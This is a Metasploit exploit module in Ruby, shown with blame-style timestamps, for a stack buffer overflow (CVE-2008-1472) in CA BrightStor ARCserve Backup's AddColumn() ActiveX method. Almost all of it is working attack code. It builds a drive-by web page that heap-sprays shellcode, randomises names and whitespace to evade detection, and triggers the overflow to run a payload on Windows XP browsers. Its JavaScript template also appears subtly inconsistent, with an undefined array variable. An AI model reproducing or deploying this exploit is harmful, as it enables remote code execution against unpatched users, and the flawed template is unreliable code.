2009-01-04 21:51:04 +00:00
|
|
|
###
|
|
|
|
|
## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
## redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
## Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
## http://metasploit.com/framework/
|
2009-01-04 21:51:04 +00:00
|
|
|
###
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
|
|
|
|
|
buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
|
|
|
|
|
could overflow a buffer and execute arbitrary code on the system.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2009-01-05 13:09:18 +00:00
|
|
|
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
|
2009-12-06 05:16:11 +00:00
|
|
|
'Version' => '$Revision:$',
|
2009-01-04 21:51:04 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
2009-10-14 12:56:13 +00:00
|
|
|
[ 'CVE', '2008-1472' ],
|
2009-05-14 19:56:07 +00:00
|
|
|
[ 'OSVDB', '43214' ],
|
2009-01-04 21:51:04 +00:00
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'March 16 2008',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload.
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Encode the shellcode.
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
|
|
# Create some nops.
|
|
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
|
|
|
|
|
|
|
|
# Set the return.
|
|
|
|
|
ret = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
|
|
|
|
|
|
|
|
# Randomize the javascript variable names.
|
|
|
|
|
vname = rand_text_alpha(rand(30) + 1)
|
|
|
|
|
var_i = rand_text_alpha(rand(5) + 1)
|
|
|
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
|
|
|
|
|
<script>
|
|
|
|
|
|
|
|
|
|
var #{rand1} = unescape("#{shellcode}");
|
|
|
|
|
var #{rand2} = 0x0A0A0A0A;
|
|
|
|
|
var #{rand3} = 0x400000;
|
|
|
|
|
var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
|
|
|
|
|
var #{rand5} = unescape("#{ret}");
|
|
|
|
|
var #{rand6} = 128;
|
|
|
|
|
|
|
|
|
|
while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
|
|
|
|
|
#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
|
|
|
|
|
#{rand8} = new Array();
|
|
|
|
|
for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
|
|
|
|
|
while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
|
|
|
|
|
#{rand5} = #{rand5}.substring(0, #{rand6});
|
|
|
|
|
|
|
|
|
|
#{vname}.AddColumn(#{rand5}, 1);
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
content = Rex::Text.randomize_space(content)
|
|
|
|
|
|
|
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
|
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
